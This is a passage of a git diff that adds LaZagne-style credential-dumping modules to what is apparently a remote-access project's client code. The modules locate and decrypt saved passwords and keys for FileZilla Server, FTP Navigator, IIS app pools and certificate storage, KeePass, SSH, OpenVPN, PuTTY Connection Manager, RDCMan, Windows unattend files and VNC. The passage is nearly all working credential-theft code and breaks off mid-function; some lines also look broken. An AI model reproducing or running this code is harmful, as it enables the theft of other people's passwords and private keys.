+ ModuleInfo.__init__(self, 'filezillaserver', 'sysadmin')
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'FileZilla Server')
+ if os.path.exists(path):
+ pwd_found = []
+ file = u'FileZilla Server Interface.xml'
+
+ xml_file = os.path.join(path, file)
+
+ if os.path.exists(xml_file):
+ tree = ElementTree(file=xml_file)
+ root = tree.getroot()
+ host = port = password = None
+
+ for item in root.iter("Item"):
+ if item.attrib['name'] == 'Last Server Address':
+ host = item.text
+ elif item.attrib['name'] == 'Last Server Port':
+ port = item.text
+ elif item.attrib['name'] == 'Last Server Password':
+ password = item.text
+ # if all((host, port, login)) does not work
+ if host is not None and port is not None and password is not None:
+ pwd_found = [{
+ 'Host': host,
+ 'Port': port,
+ 'Password': password,
+ }]
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py b/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py
new file mode 100644
index 0000000..3fdac5a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py
@@ -0,0 +1,44 @@
+# -*- coding: utf-8 -*-
+import struct
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class FtpNavigator(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', system_module=True)
+
+ def decode(self, encode_password):
+ password = ''
+ for p in encode_password:
+ password += chr(struct.unpack('B', p)[0] ^ 0x19)
+ return password
+
+ def run(self):
+ path = os.path.join(constant.profile['HOMEDRIVE'], u'\\FTP Navigator', u'Ftplist.txt')
+ elements = {'Name': 'Name', 'Server': 'Host', 'Port': 'Port', 'User': 'Login', 'Password': 'Password'}
+ if os.path.exists(path):
+ pwd_found = []
+ with open(path, 'r') as f:
+ for ff in f:
+ values = {}
+ info = ff.split(';')
+ for i in info:
+ i = i.split('=')
+ for e in elements:
+ if i[0] == e:
+ if i[0] == "Password" and i[1] != '1' and i[1] != '0':
+ values['Password'] = self.decode(i[1])
+ else:
+ values[elements[i[0]]] = i[1]
+
+ # used to save the password if it is an anonymous authentication
+ if values['Login'] == 'anonymous' and 'Password' not in values:
+ values['Password'] = 'anonymous'
+
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py b/foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py
new file mode 100644
index 0000000..903365a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py
@@ -0,0 +1,76 @@
+import fnmatch
+import os
+import subprocess
+import re
+import string
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+class IISAppPool(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='iisapppool', category='sysadmin', registry_used=True, winapi_used=True)
+
+ def find_files(self, path, file):
+ """
+ Try to find all files with the same name
+ """
+ founded_files = []
+ for dirpath, dirnames, files in os.walk(path):
+ for file_name in files:
+ if fnmatch.fnmatch(file_name, file):
+ founded_files.append(dirpath + '\\' + file_name)
+
+ return founded_files
+
+ def execute_get_stdout(self, exe_file, arguments):
+ try:
+ proc = subprocess.Popen(exe_file + " " + arguments, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+
+ except:
+ self.debug(u'Error executing {exefile}'.format(exefile=exe_file))
+ return None
+
+ return proc.stdout
+
+ def run(self):
+ pfound = []
+
+ exe_files = self.find_files(os.environ['WINDIR'] + '\\System32\\inetsrv', 'appcmd.exe')
+ if len(exe_files) == 0:
+ self.debug(u'File not found appcmd.exe')
+ return
+
+ self.info(u'appcmd.exe files found: {files}'.format(files=exe_files))
+ output = self.execute_get_stdout(exe_files[-1], 'list apppool')
+ if output == None:
+ self.debug(u'Problems with Application Pool list')
+ return
+
+ app_list = []
+ for line in output.readlines():
+ app_list.append(re.findall(r'".*"', line)[0].split('"')[1])
+
+
+ for app in app_list:
+ values = {}
+ username = ''
+ password = ''
+
+ output = self.execute_get_stdout(exe_files[-1], 'list apppool ' + app + ' /text:*')
+
+ for line in output.readlines():
+ if re.search(r'userName:".*"', line):
+ username = re.findall(r'userName:".*"', line)[0].split('"')[1]
+
+ if re.search(r'password:".*"', line):
+ password = re.findall(r'password:".*"', line)[0].split('"')[1]
+
+ if password != '' :
+ values['AppPool.Name'] = app
+ values['Username'] = username
+ values['Password'] = password
+
+ pfound.append(values)
+
+
+ return pfound
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py b/foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py
new file mode 100644
index 0000000..a66ff7f
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py
@@ -0,0 +1,138 @@
+# -*- coding: utf-8 -*-
+import base64
+import fnmatch
+import os
+import rsa
+import string
+
+from random import *
+from xml.dom import minidom
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class IISCentralCertP(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='iiscentralcertp', category='sysadmin', registry_used=True, winapi_used=True)
+
+ def find_files(self, path, file):
+ """
+ Try to find all files with the same name
+ """
+ founded_files = []
+ for dirpath, dirnames, files in os.walk(path):
+ for file_name in files:
+ if fnmatch.fnmatch(file_name, file):
+ founded_files.append(dirpath + '\\' + file_name)
+
+ return founded_files
+
+ def create_RSAKeyValueFile(self, exe_file, container):
+ tmp_file = "".join(choice(string.ascii_letters + string.digits) for x in range(randint(8, 10))) + ".xml"
+ try:
+ os.system(exe_file + " -px " + container + " " + tmp_file + " -pri > nul")
+ except OSError:
+ self.debug(u'Error executing {container}'.format(container=container))
+ tmp_file = ''
+
+ return tmp_file
+
+ def get_registry_key(self, reg_key, parameter):
+ data = ''
+ try:
+ if reg_key.startswith('HKEY_LOCAL_MACHINE'):
+ hkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_key.replace('HKEY_LOCAL_MACHINE\\', ''))
+ data = winreg.QueryValueEx(hkey, parameter)[0]
+
+ except Exception as e:
+ self.debug(e)
+
+ return data
+
+ def decrypt_hash_b64(self, hash_b64, privkey):
+ hash = bytearray(base64.b64decode(hash_b64))
+ hash.reverse()
+ hash_b64 = base64.b64encode(hash)
+ hash = base64.b64decode(hash_b64)
+ message = rsa.decrypt(hash, privkey)
+ return message.decode('UTF-16')
+
+ def GetLong(self, nodelist):
+ rc = []
+ for node in nodelist:
+ if node.nodeType == node.TEXT_NODE:
+ rc.append(node.data)
+
+ st = ''.join(rc)
+ raw = base64.b64decode(st)
+ return int(raw.encode('hex'), 16)
+
+ def read_RSAKeyValue(self, rsa_key_xml):
+ xmlStructure = minidom.parseString(rsa_key_xml)
+
+ MODULUS = self.GetLong(xmlStructure.getElementsByTagName('Modulus')[0].childNodes)
+ EXPONENT = self.GetLong(xmlStructure.getElementsByTagName('Exponent')[0].childNodes)
+ D = self.GetLong(xmlStructure.getElementsByTagName('D')[0].childNodes)
+ P = self.GetLong(xmlStructure.getElementsByTagName('P')[0].childNodes)
+ Q = self.GetLong(xmlStructure.getElementsByTagName('Q')[0].childNodes)
+ InverseQ = self.GetLong(xmlStructure.getElementsByTagName('InverseQ')[0].childNodes)
+
+ privkey = rsa.PrivateKey(MODULUS, EXPONENT, D, P, Q)
+ self.debug(u'RSA Key Value - PEM:\n {RSAkey}'.format(RSAkey=privkey.save_pkcs1(format='PEM')))
+
+ return privkey
+
+ def run(self):
+ pfound = []
+
+ ccp_enabled = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'Enabled')
+ if ccp_enabled != 1:
+ self.debug(u'IIS CentralCertProvider is not enabled')
+ return
+
+ exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework64\\', 'aspnet_regiis.exe')
+ if len(exe_files) == 0:
+ exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework\\', 'aspnet_regiis.exe')
+ if len(exe_files) == 0:
+ self.debug(u'File not found aspnet_regiis.exe')
+ return
+
+ self.info(u'aspnet_regiis.exe files found: {files}'.format(files=exe_files))
+ rsa_xml_file = self.create_RSAKeyValueFile(exe_files[-1], "iisWASKey")
+ if rsa_xml_file == '':
+ self.debug(u'Problems extracting RSA Key Value')
+ return
+
+ with open(rsa_xml_file, 'rb') as File:
+ rsa_key_xml = File.read()
+
+ os.remove(rsa_xml_file)
+ self.debug(u'Temporary file removed: {filename}'.format(filename=rsa_xml_file))
+ privkey = self.read_RSAKeyValue(rsa_key_xml)
+ values = {}
+
+ CertStoreLocation = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'CertStoreLocation')
+ values['CertStoreLocation'] = CertStoreLocation
+
+ username = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'Username')
+ values['Username'] = username
+
+ pass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'Password')
+ values['Password'] = self.decrypt_hash_b64(pass64, privkey)
+
+ privpass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'PrivateKeyPassword')
+ values['Private Key Password'] = self.decrypt_hash_b64(privpass64, privkey)
+
+ pfound.append(values)
+ return pfound
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py b/foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py
new file mode 100644
index 0000000..7caf5d8
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py
@@ -0,0 +1,116 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import *
+
+import os
+
+from xml.etree.ElementTree import parse
+
+class KeePassConfig(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'keepassconfig', 'sysadmin')
+ self.attr_to_extract = ["Keyfile", "Database", "Type"]
+
+ def run(self):
+ """
+ Main function
+ """
+
+ pwd_found = []
+
+ #Keepass1
+ connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass')
+ if os.path.exists(connection_file_directory):
+ connection_file_location = os.path.join(connection_file_directory, u'KeePass.ini')
+ if os.path.isfile(connection_file_location):
+ file_content = open(connection_file_location, 'r').read()
+ #KeeKeySourceID
+ if len(file_content.split("KeeKeySourceID")) > 1:
+ KeeKeySource_number = len(file_content.split("KeeKeySourceID")) - 1
+ for i in range(0, KeeKeySource_number ):
+ database = file_content.partition("KeeKeySourceID" + str(i) + "=" )[2].partition('\n')[0]
+ database = database.replace('..\\..\\', 'C:\\')
+ keyfile = file_content.partition("KeeKeySourceValue" + str(i) + "=" )[2].partition('\n')[0]
+ pwd_found.append({
+ 'Keyfile': keyfile,
+ 'Database': database
+ })
+ #KeeLastDb
+ if file_content.partition("KeeLastDb=")[1] == "KeeLastDb=":
+ database = file_content.partition("KeeLastDb=")[2].partition('\n')[0]
+ database = database.replace('..\\..\\', 'C:\\')
+ already_in_pwd_found = 0
+ for elmt in pwd_found:
+ if database == elmt['Database']:
+ already_in_pwd_found = 1
+ if already_in_pwd_found == 0:
+ pwd_found.append({
+ 'Keyfile': "No keyfile found",
+ 'Database': database
+ })
+ #Keepass2
+ connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass')
+ if os.path.exists(connection_file_directory):
+ connection_file_location = os.path.join(connection_file_directory, u'KeePass.config.xml')
+
+ if os.path.isfile(connection_file_location):
+ try:
+ connections = parse(connection_file_location).getroot()
+ connection_nodes = connections.findall(".//Association")
+ for connection_node in connection_nodes:
+ database = connection_node.find('DatabasePath').text.replace('..\\..\\', 'C:\\')
+ type = ""
+ if connection_node.find('Password') is not None:
+ type += "Password - "
+ if connection_node.find('UserAccount') is not None:
+ type += "NTLM - "
+ try:
+ keyfile = connection_node.find('KeyFilePath').text.replace('..\\..\\', 'C:\\')
+ type += "Keyfile - "
+ except:
+ keyfile = "No keyfile found"
+
+ pwd_found.append({
+ 'Keyfile': keyfile,
+ 'Database': database,
+ 'Type': type[:-3]
+ })
+ except:
+ pass
+
+ try:
+ connections = parse(connection_file_location).getroot()
+ connection_nodes = connections.findall(".//LastUsedFile")
+ for connection_node in connection_nodes:
+ database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\')
+ already_in_pwd_found = 0
+ for elmt in pwd_found:
+ if database == elmt['Database']:
+ already_in_pwd_found = 1
+ if already_in_pwd_found == 0:
+ pwd_found.append({
+ 'Keyfile': "No keyfile found",
+ 'Database': database
+ })
+ except:
+ pass
+
+ try:
+ connections = parse(connection_file_location).getroot()
+ connection_nodes = connections.findall(".//ConnectionInfo")
+ for connection_node in connection_nodes:
+ database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\')
+ already_in_pwd_found = 0
+ for elmt in pwd_found:
+ if database == elmt['Database']:
+ already_in_pwd_found = 1
+ if already_in_pwd_found == 0:
+ pwd_found.append({
+ 'Keyfile': "No keyfile found",
+ 'Database': database
+ })
+ except:
+ pass
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py b/foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py
new file mode 100644
index 0000000..5c410d2
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py
@@ -0,0 +1,90 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+# from Crypto.PublicKey import RSA
+# from Crypto.PublicKey import DSA
+import os
+
+
+class OpenSSHForWindows(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'opensshforwindows', 'sysadmin')
+ #self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh')
+
+ # Retrieve SSH private key even if a passphrase is set (the goal is to remove crypto dependency)
+ # def is_private_key_unprotected(self, key_content_encoded, key_algorithm):
+ # """
+ # Check if the private key can be loaded without specifying any passphrase.
+ #
+ # PyCrypto >= 2.6.1 required in order to have the method importKey() in DSA class.
+ #
+ # :param key_content_encoded: Encoded content of the private key to test
+ # :param key_algorithm: Algorithm of the key (RSA or DSA)
+ # :return: True only if the key can be successfuly loaded and is usable
+ # """
+ # state = False
+ # try:
+ # # Try to load it
+ # if key_algorithm == "RSA":
+ # key = RSA.importKey(key_content_encoded)
+ # else:
+ # key = DSA.importKey(key_content_encoded)
+ # # Validate loading
+ # state = (key is not None and key.can_sign() and key.has_private())
+ # except Exception as e:
+ # self.error(u"Cannot validate key protection '%s'" % e)
+ # state = False
+ # pass
+ #
+ # return state
+
+ def extract_private_keys_unprotected(self):
+ """
+ Extract all DSA/RSA private keys that are not protected with a passphrase.
+
+ :return: List of encoded key (key file content)
+ """
+ keys = []
+ if os.path.isdir(self.key_files_location):
+ for (dirpath, dirnames, filenames) in os.walk(self.key_files_location, followlinks=True):
+ for f in filenames:
+ key_file_path = os.path.join(dirpath, f)
+ if os.path.isfile(key_file_path):
+ try:
+ # Read encoded content of the key
+ with open(key_file_path, "r") as key_file:
+ key_content_encoded = key_file.read()
+ # Determine the type of the key (public/private) and what is it algorithm
+ if "DSA PRIVATE KEY" in key_content_encoded:
+ key_algorithm = "DSA"
+ elif "RSA PRIVATE KEY" in key_content_encoded or "OPENSSH PRIVATE KEY" in key_content_encoded:
+ key_algorithm = "RSA"
+ else:
+ key_algorithm = None
+ # Check if the key can be loaded (used) without passphrase
+ # if key_algorithm is not None and self.is_private_key_unprotected(key_content_encoded,
+ # key_algorithm):
+ if key_algorithm:
+ keys.append(key_content_encoded)
+ except Exception as e:
+ self.error(u"Cannot load key file '%s' '%s'" % (key_file_path, e))
+ pass
+
+ return keys
+
+ def run(self):
+ """
+ Main function
+ """
+ self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh')
+ # Extract all DSA/RSA private keys that are not protected with a passphrase
+ unprotected_private_keys = self.extract_private_keys_unprotected()
+
+ # Parse and process the list of keys
+ key_found = []
+ for key in unprotected_private_keys:
+ values = {"Privatekey": key}
+ key_found.append(values)
+
+ return key_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py b/foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py
new file mode 100644
index 0000000..9495cbd
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py
@@ -0,0 +1,55 @@
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.winstructure import *
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class OpenVPN(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='openvpn', category='sysadmin', registry_used=True, winapi_used=True)
+
+ def check_openvpn_installed(self):
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\OpenVPN-GUI\\Configs')
+ return key
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ def decrypt_password(self, encrypted_password, entropy):
+ return Win32CryptUnprotectData(encrypted_password,
+ entropy=entropy,
+ is_current_user=constant.is_current_user,
+ user_dpapi=constant.user_dpapi)
+
+ def get_credentials(self, key):
+ pwd_found = []
+ num_profiles = winreg.QueryInfoKey(key)[0]
+ for n in range(num_profiles):
+ name_skey = winreg.EnumKey(key, n)
+ skey = OpenKey(key, name_skey)
+ values = {'Profile': name_skey}
+ try:
+ encrypted_password = winreg.QueryValueEx(skey, "auth-data")[0]
+ entropy = winreg.QueryValueEx(skey, "entropy")[0][:-1]
+ password = self.decrypt_password(encrypted_password, entropy)
+ values['Password'] = password.decode('utf16')
+ except Exception as e:
+ self.debug(str(e))
+ pwd_found.append(values)
+ winreg.CloseKey(skey)
+ winreg.CloseKey(key)
+
+ return pwd_found
+
+ def run(self):
+ openvpn_key = self.check_openvpn_installed()
+ if openvpn_key:
+ results = self.get_credentials(openvpn_key)
+ if results:
+ return results
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py b/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py
new file mode 100644
index 0000000..6d908ab
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py
@@ -0,0 +1,51 @@
+# -*- coding: utf-8 -*-
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER, string_to_unicode
+
+import os
+
+
+class Puttycm(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'puttycm', 'sysadmin', registry_used=True)
+
+ def run(self):
+ database_path = self.get_default_database()
+ if database_path and os.path.exists(database_path):
+ return self.parse_xml(database_path)
+
+ def get_default_database(self):
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager')
+ db = string_to_unicode(winreg.QueryValueEx(key, 'DefaultDatabase')[0])
+ winreg.CloseKey(key)
+ return db
+ except Exception:
+ return False
+
+ def parse_xml(self, database_path):
+ xml_file = os.path.expanduser(database_path)
+ tree = ElementTree(file=xml_file)
+ root = tree.getroot()
+
+ pwd_found = []
+ elements = ['name', 'protocol', 'host', 'port', 'description', 'login', 'password']
+ for connection in root.iter('connection'):
+ children = connection.getchildren()
+ values = {}
+ for child in children:
+ for c in child:
+ if str(c.tag) in elements:
+ values[str(c.tag).capitalize()] = str(c.text)
+
+ if values:
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py b/foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py
new file mode 100644
index 0000000..5b3e4f5
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py
@@ -0,0 +1,96 @@
+# -*- coding: utf-8 -*-
+import base64
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class RDPManager(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'rdpmanager', 'sysadmin', winapi_used=True)
+
+ def decrypt_password(self, encrypted_password):
+ try:
+ decoded = base64.b64decode(encrypted_password)
+ password_decrypted = Win32CryptUnprotectData(decoded, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ password_decrypted = password_decrypted.replace('\x00', '')
+ except Exception:
+ password_decrypted = encrypted_password.replace('\x00', '')
+ return password_decrypted
+
+ def format_output_tag(self, tag):
+ tag = tag.lower()
+ if 'username' in tag:
+ tag = 'Login'
+ elif 'hostname' in tag:
+ tag = 'URL'
+ return tag.capitalize()
+
+ def check_tag_content(self, values, c):
+ if 'password' in c.tag.lower():
+ values['Password'] = self.decrypt_password(c.text)
+ else:
+ tag = self.format_output_tag(c.tag)
+ values[tag] = c.text
+ return values
+
+ def parse_element(self, root, element):
+ pwd_found = []
+ try:
+ for r in root.findall(element):
+ values = {}
+ for child in r.getchildren():
+ if child.tag == 'properties':
+ for c in child.getchildren():
+ values = self.check_tag_content(values, c)
+ elif child.tag == 'logonCredentials':
+ for c in child.getchildren():
+ values = self.check_tag_content(values, c)
+ else:
+ values = self.check_tag_content(values, child)
+ if values:
+ pwd_found.append(values)
+ except Exception as e:
+ self.debug(str(e))
+
+ return pwd_found
+
+ def run(self):
+ settings = [
+ os.path.join(constant.profile['LOCALAPPDATA'],
+ u'Microsoft Corporation\\Remote Desktop Connection Manager\\RDCMan.settings'),
+ os.path.join(constant.profile['LOCALAPPDATA'],
+ u'Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings')
+ ]
+
+ for setting in settings:
+ if os.path.exists(setting):
+ self.debug(u'Setting file found: {setting}'.format(setting=setting))
+
+ tree = ElementTree(file=setting)
+ root = tree.getroot()
+ pwd_found = []
+
+ elements = [
+ 'CredentialsProfiles/credentialsProfiles/credentialsProfile',
+ 'DefaultGroupSettings/defaultSettings/logonCredentials',
+ 'file/server',
+ ]
+
+ for element in elements:
+ pwd_found += self.parse_element(root, element)
+
+ try:
+ for r in root.find('FilesToOpen'):
+ if os.path.exists(r.text):
+ self.debug(u'New setting file found: %s' % r.text)
+ pwd_found += self.parse_xml(r.text)
+ except Exception:
+ pass
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/unattended.py b/foreign/client_handling/lazagne/softwares/sysadmin/unattended.py
new file mode 100644
index 0000000..dd0733e
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/unattended.py
@@ -0,0 +1,75 @@
+# -*- coding: utf-8 -*-
+
+import base64
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.winstructure import string_to_unicode
+
+import os
+
+
+class Unattended(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'unattended', 'sysadmin', system_module=True)
+
+ # Password should be encoded in b64
+ def try_b64_decode(self, message):
+ try:
+ return base64.b64decode(message)
+ except Exception:
+ return message
+
+ def run(self):
+
+ windir = os.path.join(constant.profile['HOMEDRIVE'], string_to_unicode(os.sep), u'Windows')
+ files = [
+ 'Panther\\Unattend.xml',
+ 'Panther\\Unattended.xml',
+ 'Panther\\Unattend\\Unattended.xml',
+ 'Panther\\Unattend\\Unattend.xml',
+ 'System32\\Sysprep\\unattend.xml',
+ 'System32\\Sysprep\\Panther\\unattend.xml'
+ ]
+
+ pwd_found = []
+ xmlns = '{urn:schemas-microsoft-com:unattend}'
+ for file in files:
+ path = os.path.join(windir, string_to_unicode(file))
+ if os.path.exists(path):
+ self.debug(u'Unattended file found: %s' % path)
+ tree = ElementTree(file=path)
+ root = tree.getroot()
+
+ for setting in root.findall('%ssettings' % xmlns):
+ component = setting.find('%scomponent' % xmlns)
+
+ auto_logon = component.find('%sauto_logon' % xmlns)
+ if auto_logon:
+ username = auto_logon.find('%sUsername' % xmlns)
+ password = auto_logon.find('%sPassword' % xmlns)
+ if all((username, password)):
+ # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*)
+ if 'deleted' not in password.text.lower():
+ pwd_found.append({
+ 'Login': username.text,
+ 'Password': self.try_b64_decode(password.text)
+ })
+
+ user_accounts = component.find('%suser_accounts' % xmlns)
+ if user_accounts:
+ local_accounts = user_accounts.find('%slocal_accounts' % xmlns)
+ if local_accounts:
+ for local_account in local_accounts.findall('%slocal_account' % xmlns):
+ username = local_account.find('%sName' % xmlns)
+ password = local_account.find('%sPassword' % xmlns)
+ if all((username, password)):
+ if 'deleted' not in password.text.lower():
+ pwd_found.append({
+ 'Login': username.text,
+ 'Password': self.try_b64_decode(password.text)
+ })
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py b/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py
new file mode 100644
index 0000000..b4b8030
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py
@@ -0,0 +1,162 @@
+# Code based on vncpasswd.py by trinitronx
+# https://github.com/trinitronx/vncpasswd.py
+import binascii
+import codecs
+import traceback
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from . import d3des as d
+from foreign.client_handling.lazagne.config.winstructure import *
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Vnc(ModuleInfo):
+ def __init__(self):
+ self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7]
+ ModuleInfo.__init__(self, name='vnc', category='sysadmin')
+
+ def split_len(self, seq, length):
+ return [seq[i:i + length] for i in range(0, len(seq), length)]
+
+ def do_crypt(self, password, decrypt):
+ passpadd = (password + '\x00' * 8)[:8]
+ strkey = b''.join([chr_or_byte(x) for x in int(self.vnckey)])
+ key = d.deskey(strkey, decrypt)
+ crypted = d.desfunc(passpadd, key)
+ return crypted
+
+ def unhex(self, s):
+ try:
+ s = codecs.decode(s, 'hex')
+ except TypeError as e:
+ if e.message == 'Odd-length string':
+ self.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1]))
+ s = codecs.decode(s[:-1], 'hex')
+ else:
+ return False
+ return s
+
+ def reverse_vncpassword(self, hash):
+ encpasswd = self.unhex(hash)
+ pwd = None
+ if encpasswd:
+ # If the hex encoded passwd length is longer than 16 hex chars and divisible
+ # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
+ # (1 hex char = 4 binary bits = 1 nibble)
+ hexpasswd = codecs.encode(encpasswd, 'hex')
+ if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
+ splitstr = self.split_len(codecs.encode(hash, 'hex'), 16)
+ cryptedblocks = []
+ for sblock in splitstr:
+ cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True))
+ pwd = b''.join(cryptedblocks)
+ elif len(hexpasswd) <= 16:
+ pwd = self.do_crypt(encpasswd, True)
+ else:
+ pwd = self.do_crypt(encpasswd, True)
+ return pwd
+
+ def vnc_from_registry(self):
+ pfound = []
+ vncs = (
+ ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'),
+ ('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver', 'Password'),
+ ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
+ ('RealVNC 4.x', 'HKEY_CURRENT_USER\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
+ ('RealVNC 3.x', 'HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3', 'Password'),
+ ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'Password'),
+ ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
+ ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'Password'),
+ ('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'ControlPassword'),
+ ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
+ ('TigerVNC', 'HKEY_LOCAL_MACHINE\\Software\\TigerVNC\\Server', 'Password'),
+ ('TigerVNC', 'HKEY_CURRENT_USER\\Software\\TigerVNC\\Server', 'Password'),
+ )
+
+ for vnc in vncs:
+ try:
+ if vnc[1].startswith('HKEY_LOCAL_MACHINE'):
+ hkey = OpenKey(HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\', ''))
+
+ elif vnc[1].startswith('HKEY_CURRENT_USER'):
+ hkey = OpenKey(HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\', ''))
+
+ reg_key = winreg.QueryValueEx(hkey, vnc[2])[0]
+ except Exception:
+ self.debug(u'Problems with key:: {reg_key}'.format(reg_key=vnc[1]))
+ continue
+
+ try:
+ enc_pwd = binascii.hexlify(reg_key).decode()
+ except Exception:
